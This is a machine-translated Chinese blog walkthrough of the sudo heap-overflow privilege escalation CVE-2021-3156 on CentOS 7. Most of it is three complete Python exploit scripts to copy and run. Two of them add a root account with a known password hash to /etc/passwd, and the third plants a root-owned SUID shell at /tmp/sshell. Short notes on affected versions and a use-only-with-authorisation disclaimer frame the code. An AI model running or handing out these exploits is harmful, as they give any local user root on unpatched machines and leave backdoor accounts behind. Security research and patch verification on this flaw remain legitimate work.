当前位置:网站首页>Use posture of sudo right raising vulnerability in actual combat (cve-2021-3156)
Use posture of sudo right raising vulnerability in actual combat (cve-2021-3156)
2022-07-03 05:03:00 【zhibx】
In action sudo Use posture of right raising vulnerability
0x00 Summary of vulnerability
2021 year 1 month 26 Japan ,Linux Safety tools sudo A serious heap based buffer overflow vulnerability was found . Take advantage of this loophole , The attacker does not need to know the user password , You can get the same root jurisdiction , And under the default configuration . This vulnerability has been assigned to CVE-2021-3156, The risk rating was 7 branch . The reason for the vulnerability is sudo The backslash in the parameter was escaped incorrectly .
0x01 Loophole principle
When in class Unix When executing commands on the operating system of , Not root Users can use sudo Command to root Execute the command as a user . because sudo Incorrectly escaping backslashes in parameters resulted in Heap Buffer Overflow , This allows any local user ( Whether it's in or not sudoers In file ) get root jurisdiction , No authentication required , And the attacker does not need to know the user password .
0x02 Affected version
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
0x03 Not affected version
sudo =>1.9.5p2
0x04 Loophole recurrence (centos)
1. Pay attention to the input of online transmission sudoedit -s / Then check that the echo method is not accurate , Be sure to verify manually
2. Note that if it is webshell Extraction must be interactive shell
Reappear POC1:
First create a centos virtual machine , View version 
As you can see above ,Linux The version is centos7.9 sudo The version is 1.8.23
Create a low authority account .
Use one python edition Of , This version can be used for the default configuration centos The attack .
If you don't want to download, you can directly copy the following code
#!/usr/bin/python
''' Exploit for CVE-2021-3156 on CentOS 7 by sleepya Simplified version of exploit_userspec.py for easy understanding. - Remove all checking code - Fixed all offset (no auto finding) Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing '''
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit"
PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";
#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50
argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)
ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)
OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)
# for spraying
epage = [
'A'*0x8 + # to not ending with 0x00
# fake def->var chunk (get freed)
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '', # pointer to privilege
ADDR_CMND[:6], '', # pointer to cmndspec
ADDR_MEMBER[:6], '', # pointer to member
# fake def->binding (list head) (get freed)
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A'*0x10 + # members.last, pad
# userspec chunk (get freed)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A'*8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6]+'', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6]+'', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first
# member chunk
'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
'A'*8 + # member.name (can be any because this object is not freed)
pack('<H', 284), '', # type, negated
'A'*0xc+ # padding
# cmndspec chunk
'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
'A'*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.teq_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A'*8 + # padding
# privileges chunk
'\x51'*0x8 + # chunk metadata
'A'*0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.teq_prev
'A'*8 + # ldap_role
'A'*8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.teq_last
'A'*8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.teq_last
]
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))
env = [
"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A"*0x18 +
# defaults
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a'*8 + # prev
ADDR_DEF_VAR[:6]+'\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
ADDR_REFSTR[:6]+'\\', '\\', # file
"Z"*0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
'C'*0x638+ # need prev_inuse and overwrite until userspec
'B'*0x1b0+
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
"A"*8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
"LC_ALL=C",
"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
"TZ=:",
]
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage)
# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]
env.append(None)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break
Use a low privilege account to run exploit_cent7_userspec.py
If nothing is displayed at the end of such a run, it will fail .
If the operation fails, run it several times , Some run 5.6 Only after running successfully , This is the second run , You can see that it has run successfully .gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash success at 490
This one at the back 490 Indicates the operation of 490 Success .
After success, a user name of gg, The password for gg Of root Authorized users , Successful claim ,whoami As you can see, yes root jurisdiction 
Reappear POC2:
This POC It's downloaded from toast .
#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";
#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50
argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)
ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)
OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)
# for spraying
epage = [
'A'*0x8 + # to not ending with 0x00
# fake def->var chunk (get freed)
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '', # pointer to privilege
ADDR_CMND[:6], '', # pointer to cmndspec
ADDR_MEMBER[:6], '', # pointer to member
# fake def->binding (list head) (get freed)
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A'*0x10 + # members.last, pad
# userspec chunk (get freed)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A'*8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6]+'', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6]+'', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first
# member chunk
'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
'A'*8 + # member.name (can be any because this object is not freed)
pack('<H', 284), '', # type, negated
'A'*0xc+ # padding
# cmndspec chunk
'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
'A'*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.teq_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A'*8 + # padding
# privileges chunk
'\x51'*0x8 + # chunk metadata
'A'*0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.teq_prev
'A'*8 + # ldap_role
'A'*8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.teq_last
'A'*8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.teq_last
]
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))
env = [
"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A"*0x18 +
# defaults
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a'*8 + # prev
ADDR_DEF_VAR[:6]+'\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
ADDR_REFSTR[:6]+'\\', '\\', # file
"Z"*0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
'C'*0x638+ # need prev_inuse and overwrite until userspec
'B'*0x1b0+
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
"A"*8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
"LC_ALL=C",
"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
"TZ=:",
]
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage)
# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]
env.append(None)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break
The same operation as above , The only difference is this poc Successful operation will generate a user name aa The password for www Of root user
And this is it poc Only applicable to the default configuration centos7
Running successfully .
Reappear POC3:
This POC Follow up poc2 It's all toast , And then this poc A little different is that after running successfully, enter the directory /tmp/sshell You can go right in root jurisdiction .
#!/usr/bin/python
import os
import subprocess
import sys
import resource
import select
import signal
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
def create_bin(bin_path):
if os.path.isfile(bin_path):
return # existed
try:
os.makedirs(bin_path[:bin_path.rfind('/')])
except:
pass
import base64, zlib
bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
with open(bin_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(bin_b64)))
def create_shell(path, suid_path):
with open(path, 'w') as f:
f.write('#!/bin/sh\n')
f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
f.write('/bin/chown root.root %s\n' % suid_path)
f.write('/bin/chmod 4755 %s\n' % suid_path)
os.chmod(path, 0o755)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
# Note: error with backtrace is print to tty directly. cannot be piped or suppressd
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.close(r)
os.dup2(w, 2)
execve(filename, cargv, cenvp)
exit(0)
# parent
os.close(w)
# might occur deadlock in heap. kill it if timeout and set exit_code as 6
# 0.5 second should be enough for execution
sr, _, _ = select.select([ r ], [], [], 0.5)
if not sr:
os.kill(pid, signal.SIGKILL)
_, exit_code = os.waitpid(pid, 0)
if not sr: # timeout, assume dead lock in heap
exit_code = 6
if 128 < exit_code < 256:
exit_code -= 128
r = os.fdopen(r, 'r')
err = r.read()
r.close()
return exit_code, err
def has_askpass(err):
# 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
return 'sudoedit: no askpass program ' in err
def get_sudo_version():
proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line:
continue
if line.startswith('Sudo '):
txt = line[12:].strip()
pos = txt.rfind('p')
if pos != -1:
txt = txt[:pos]
versions = list(map(int, txt.split('.')))
break
proc.wait()
return versions
def check_sudo_version():
sudo_vers = get_sudo_version()
assert sudo_vers[0] == 1, "Unexpect sudo major version"
assert sudo_vers[1] == 8, "Unexpect sudo minor version"
return sudo_vers[2]
def check_mailer_root():
if not os.access(SUDO_PATH, os.R_OK):
print("Cannot determine disble-root-mailer flag")
return True
return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1
def find_cmnd_size():
argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ]
size_min, size_max = 0xc00, 0x2000
found_size = 0
while size_max - size_min > 0x10:
curr_size = (size_min + size_max) // 2
curr_size &= 0xfff0
print("\ncurr size: 0x%x" % curr_size)
argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code == 256 and has_askpass(err):
# need pass. no crash.
# fit or almost fit
if found_size:
found_size = curr_size
break
# maybe almost fit. try again
found_size = curr_size
size_min = curr_size
size_max = curr_size + 0x20
elif exit_code in (7, 11):
# segfault. too big
if found_size:
break
size_max = curr_size
else:
assert exit_code == 6
# heap corruption. too small
size_min = curr_size
if found_size:
return found_size
assert size_min == 0x2000 - 0x10
# old sudo version and file is in /etc/sudoers.d
print('has 2 holes. very large one is bad')
size_min, size_max = 0xc00, 0x2000
for step in (0x400, 0x100, 0x40, 0x10):
found = False
env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
for curr_size in range(size_min, size_max, step):
argv[-2] = b"A"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\ncurr size: 0x%x" % curr_size)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code in (7, 11):
size_min = curr_size
found = True
elif found:
print("\nsize_min: 0x%x" % size_min)
break
assert found, "Cannot find cmnd size"
size_max = size_min + step
# TODO: verify
return size_min
def find_defaults_chunk(argv, env_prefix):
offset = 0
pos = len(env_prefix) - 1
env = env_prefix[:]
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
# overflow until sudo crash without asking pass
# crash because of defaults.entries.next is overwritten
while True:
env[pos] += b'A'*0x10
exit_code, err = spawn(SUDO_PATH, argv, env)
# 7 bus error, 11 segfault
if exit_code in (7, 11) and not has_askpass(err):
# found it
env[pos] = env[pos][:-0x10]
break
offset += 0x10
# verify if it is defaults
env = env[:-3]
env[-1] += b'\x41\\' # defaults chunk size 0x40
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
(b'A'*8 if has_tailq else b'') + # entries.prev
pack("<Q", 0xffffffffff600000+0x880) + # var (use vsyscall for testing)
b"A"*(0x20-1), # binding, file, type, op, error, lineno
b"LC_ALL=C", b"TZ=:", None
])
exit_code, err = spawn(SUDO_PATH, argv, env)
# old sudo verion has no cleanup if authen fail. exit code is 256.
assert exit_code in (256, 11) and has_askpass(err), "cannot find defaults chunk"
return offset
def create_env(offset_defaults):
with open('/proc/sys/kernel/randomize_va_space') as f:
has_aslr = int(f.read()) != 0
if has_aslr:
STACK_ADDR_PAGE = 0x7fffe5d35000
else:
STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
SA = STACK_ADDR_PAGE
ADDR_MEMBER_PREV = pack('<Q', SA+8)
ADDR_MEMBER_LAST = ADDR_MEMBER_PREV
ADDR_MEMBER = pack('<Q', SA+0x20)
ADDR_DEF_BINDING = ADDR_MEMBER
ADDR_MAILER_VAR = pack('<Q', SA+0x20+0x30)
ADDR_MAILER_VAL = pack('<Q', SA+0x20+0x30+0x10)
ADDR_ALWAYS_VAR = pack('<Q', SA+0x20+0x30+0x10+0x20)
ADDR_DEF_BAD = pack('<Q', SA+0x20+0x30+0x10+0x20+0x10)
# no need to make cleanup without a crash. mailer is executed before cleanup steps
# def_mailto is always set
# def_mailerflags is mailer arguments
epage = [
b'A'*0x8 + # to not ending with 0x00
ADDR_MEMBER[:6], b'', # pointer to member
ADDR_MEMBER_PREV[:6], b'', # pointer to member
# member chunk (and defaults->binding (list head))
b'A'*8 + # chunk size
b'', b'', b'', b'', b'', b'', b'', b'', # members.first
ADDR_MEMBER_LAST[:6], b'', # members.last
b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
pack('<H', MATCH_ALL), b'', # type, negated
b'A'*0xc + # padding
# var (mailer)
b'A'*8 + # chunk size
b"mailerpath", b'A'*5 +
# val (mailer) (assume path length is less than 32)
SHELL_PATH, b'A'*(0x20-len(SHELL_PATH)-1) +
# var (mail_always)
b"mail_always", b'A'*4 +
# defaults (invalid mail_always, has val)
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b'', b'', b'', b'', b'', b'', b'', b'', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_ALWAYS_VAR[:6], b'', # var
ADDR_ALWAYS_VAR[:6], b'', # val (invalid defaults mail_always, trigger sendmail immediately)
ADDR_DEF_BINDING[:6], b'', # binding or binding.first
]
if has_file:
epage.extend([ ADDR_ALWAYS_VAR[:6], b'' ]) # file
elif not has_tailq:
epage.extend([ ADDR_MEMBER[:6], b'' ]) # binding.last
epage.extend([
pack('<H', DEFAULTS_CMND) + # type
b'', b'', # for type is 4 bytes version
])
env = [
b'A'*(7+0x4010+0x110+offset_defaults) +
b'A'*8 + # chunk metadata
(b'' if has_tailq else b'A'*8) + # prev if no tailq
ADDR_DEF_BAD[:6]+b'\\', b'\\', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_MAILER_VAR[:6]+b'\\', b'\\', # var
ADDR_MAILER_VAL[:6]+b'\\', b'\\', # val
ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding or bind.first
]
if has_file or not has_tailq:
env.extend([ ADDR_MEMBER[:6]+b'\\', b'\\' ]) # binding.last or file (no use)
env.extend([
pack('<H', DEFAULTS_CMND) + # type
(b'\x01' if has_file else b'\\'), b'', # if not has_file, type is int (4 bytes)
b"LC_ALL=C",
b"TZ=:",
b"SUDO_ASKPASS=/invalid",
])
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append(b'P'*(padlen-1))
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
env.extend(epage)
# reserve space in last element for '/usr/bin/sudo' and padding
env[-1] = env[-1][:-14-8]
env.append(None)
return env
def run_until_success(argv, env):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
create_bin(SUID_PATH)
create_shell(SHELL_PATH, SUID_PATH)
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(65536):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if os.path.exists(PWNED_PATH):
print("success at %d" % i)
if os.stat(PWNED_PATH).st_uid != 0:
print("ROOT MAILER is disabled :(")
break
if exit_code not in (7, 11):
print("invalid offset. exit code: %d" % exit_code)
break
def main():
cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None
if cmnd_size is None:
cmnd_size = find_cmnd_size()
print("found cmnd size: 0x%x" % cmnd_size)
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]
env_prefix = [ b'A'*(7+0x4010+0x110) ]
if offset_defaults is None:
offset_defaults = find_defaults_chunk(argv, env_prefix)
assert offset_defaults != -1
print('')
print("cmnd size: 0x%x" % cmnd_size)
print("offset to defaults: 0x%x" % offset_defaults)
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]
env = create_env(offset_defaults)
run_until_success(argv, env)
if __name__ == "__main__":
# global intialization
assert check_mailer_root(), "root mailer is disabled"
sudo_ver = check_sudo_version()
DEFAULTS_CMND = 269
if sudo_ver >= 15:
MATCH_ALL = 284
elif sudo_ver >= 13:
MATCH_ALL = 282
elif sudo_ver >= 7:
MATCH_ALL = 280
elif sudo_ver < 7:
MATCH_ALL = 279
DEFAULTS_CMND = 268
has_tailq = sudo_ver >= 9
has_file = sudo_ver >= 19 # has defaults.file pointer
main()
Running successfully 
As you can see, yes root jurisdiction 
disclaimer :
Only for authorized security testing , It is forbidden to attack the site without authorization . This article is only for study and research . It is strictly forbidden to use the content of this article to illegally operate other Internet applications , If it is used for illegal purposes , The consequences will be borne by you , All risks arising are not related to the author of this article , If you continue to read this article, you will follow this content by default .
边栏推荐
- Market status and development prospects of the global autonomous marine glider industry in 2022
- 动态规划——相关概念,(数塔问题)
- 第十九届浙江省 I. Barbecue
- 1106 lowest price in supply chain (25 points)
- 联发科技2023届提前批IC笔试(题目)
- Mobile terminal - uniapp development record (public request encapsulation)
- Distinguish between releases and snapshots in nexus private library
- Shuttle + alluxio accelerated memory shuffle take-off
- ZABBIX monitoring of lamp architecture (3): zabbix+mysql (to be continued)
- leetcode452. Detonate the balloon with the minimum number of arrows
猜你喜欢

Kept hot standby and haproxy

Shuttle + Alluxio 加速内存Shuffle起飞
![[set theory] relational representation (relational matrix | examples of relational matrix | properties of relational matrix | operations of relational matrix | relational graph | examples of relationa](/img/a9/92059db74ccde03b84c69dfce35b37.jpg)
[set theory] relational representation (relational matrix | examples of relational matrix | properties of relational matrix | operations of relational matrix | relational graph | examples of relationa

论文阅读_中文NLP_ELECTRA

On typescript and grammar

The reason why the entity class in the database is changed into hump naming

Compile and decompile GCC common instructions

The consumption of Internet of things users is only 76 cents, and the price has become the biggest obstacle to the promotion of 5g industrial interconnection

JDBC database operation

Thesis reading_ ICD code_ MSMN
随机推荐
1114 family property (25 points)
Kept hot standby and haproxy
Notes | numpy-10 Iterative array
Prepare for 2022 and welcome the "golden three silver four". The "summary of Android intermediate and advanced interview questions in 2022" is fresh, so that your big factory interview can go smoothly
动态规划——相关概念,(数塔问题)
5-36v input automatic voltage rise and fall PD fast charging scheme drawing 30W low-cost chip
Current market situation and development prospect prediction of global direct energy deposition 3D printer industry in 2022
50 practical applications of R language (36) - data visualization from basic to advanced
ZABBIX monitoring of lamp architecture (3): zabbix+mysql (to be continued)
The current market situation and development prospect of the global gluten tolerance test kit industry in 2022
Class loading mechanism (detailed explanation of the whole process)
"Pthread.h" not found problem encountered in compiling GCC
Market status and development prospect prediction of global colorimetric cup cover industry in 2022
[XSS bypass - protection strategy] understand the protection strategy and better bypass
Day 51 - tree problem
Actual combat 8051 drives 8-bit nixie tube
移动端——uniapp开发记录(公共请求request封装)
1119 pre- and post order traversals (30 points)
Apache MPM model and ab stress test
Shuttle + Alluxio 加速内存Shuffle起飞